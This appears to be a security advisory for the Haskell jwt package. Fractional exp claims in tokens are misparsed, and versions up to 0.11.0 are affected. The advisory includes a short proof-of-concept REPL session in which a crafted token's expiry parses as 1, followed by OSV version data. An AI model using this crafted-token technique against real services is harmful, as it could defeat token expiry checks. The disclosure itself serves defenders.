Improper parsing of fractional NumericDate from JWT exp claims
# Improper parsing of fractional `NumericDate` from JWT `exp` claims Since its [initial commit][], package jwt uses [`Data.Scientific.coefficient`][scientific] to extract the fractional mantissa in a way that improperly *discards the exponent*. This can lead to incorrect parsing of the `exp` claim in JWT payload body. PoC: ```haskell cabal repl --build-depends jwt==0.11.0 import Web.JWT :set -XOverloadedStrings let signer = VerifyHMACSecret "dummy-signing-symmetric-hmac-key.not-so-secret" let exploit = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhvbmVzdCBKb2UiLCJhZG1pbiI6dHJ1ZSwiaWF0IjoxNzkwMTY2Nzg2LCJleHAiOjE3OTAxNzAzODYuMDAwMX0.xQyl3rBYtVTxPL_VXSawSSmZkuF4MzOkzwdQGJFjE2o" -- { -- "sub": "1234567890", -- "name": "Honest Joe", -- "admin": true, -- "iat": 1790166786, -- "exp": 1790170386.0001 -- } λλ ➔ Just whoops = Web.JWT.decodeAndVerifySignature signer exploit λ λλ ➔ whoops Verified (JOSEHeader {typ = Just "JWT", cty = Nothing, alg = Just HS256, kid = Nothing}) (JWTClaimsSet {iss = Nothing, sub = Just 1234567890, aud = Nothing, exp = Just (NumericDate 17901703860001), nbf = Nothing, iat = Just (NumericDate 1790166786), jti = Nothing, unregisteredClaims = ClaimsMap {unClaimsMap = fromList [("admin",Bool True),("name",String "Honest Joe")]}}) (Signature "xQyl3rBYtVTxPL_VXSawSSmZkuF4MzOkzwdQGJFjE2o") λ λλ ➔ fmap secondsSinceEpoch . Web.JWT.iat . claims $ whoops Just 1790166786s λ λλ ➔ fmap secondsSinceEpoch . Web.JWT.exp . claims $ whoops Just 1
HSEC-2026-0010
Primary source · Revision 1
Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.
Security context
Source reference: osv:HSEC-2026-0010
jwt
Source reference: /affected/0/package/name
- Affected versions
- 0.1.0
Source reference:
/affected/0/versions0.1.1Source reference:
/affected/0/versions0.10.0Source reference:
/affected/0/versions0.10.1Source reference:
/affected/0/versions0.11.0Source reference:
/affected/0/versions0.2.0Source reference:
/affected/0/versions0.2.1Source reference:
/affected/0/versions0.3.0Source reference:
/affected/0/versions0.4.0Source reference:
/affected/0/versions0.4.1Source reference:
/affected/0/versions0.4.2Source reference:
/affected/0/versions0.4.3Source reference:
/affected/0/versions0.4.4Source reference:
/affected/0/versions0.5.0Source reference:
/affected/0/versions0.5.1Source reference:
/affected/0/versions0.5.2Source reference:
/affected/0/versions0.5.3Source reference:
/affected/0/versions0.6.0Source reference:
/affected/0/versions0.7.0Source reference:
/affected/0/versions0.7.1Source reference:
/affected/0/versions0.7.2Source reference:
/affected/0/versions0.8.0Source reference:
/affected/0/versions0.9.0Source reference:
/affected/0/versions - Fixed versions
- 0.12.0
Source reference:
/affected/0/ranges - Prerequisites
- Not stated in this record
Structured affected-version data
Original package identities and version rules from this source.
[
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0.1.0"
},
{
"fixed": "0.12.0"
}
]
}
],
"package": {
"name": "jwt",
"purl": "pkg:hackage/jwt",
"ecosystem": "Hackage"
},
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N/E:P/RL:W/RC:C/IR:H/MAV:N/MAC:H/MPR:N/MUI:N/MS:C/MC:N/MI:L/MA:N"
}
],
"versions": [
"0.1.0",
"0.1.1",
"0.10.0",
"0.10.1",
"0.11.0",
"0.2.0",
"0.2.1",
"0.3.0",
"0.4.0",
"0.4.1",
"0.4.2",
"0.4.3",
"0.4.4",
"0.5.0",
"0.5.1",
"0.5.2",
"0.5.3",
"0.6.0",
"0.7.0",
"0.7.1",
"0.7.2",
"0.8.0",
"0.9.0"
],
"database_specific": {
"osv": "https://raw.githubusercontent.com/haskell/security-advisories/refs/heads/generated/osv-export/2026/HSEC-2026-0010.json",
"source": "https://github.com/haskell/security-advisories/blob/generated/osv-export/2026/HSEC-2026-0010.json",
"human_link": "https://github.com/haskell/security-advisories/tree/main/advisories/published/2026/HSEC-2026-0010.md"
},
"ecosystem_specific": {
"affected_api": [
{
"name": "decode",
"module": "Web.JWT"
},
{
"name": "decodeAndVerifySignature",
"module": "Web.JWT"
}
]
}
}
]Publisher severity
No explicit severity was provided.
- Event
- #27793 · Revision 1
- Added to Heist Feed
- Publisher date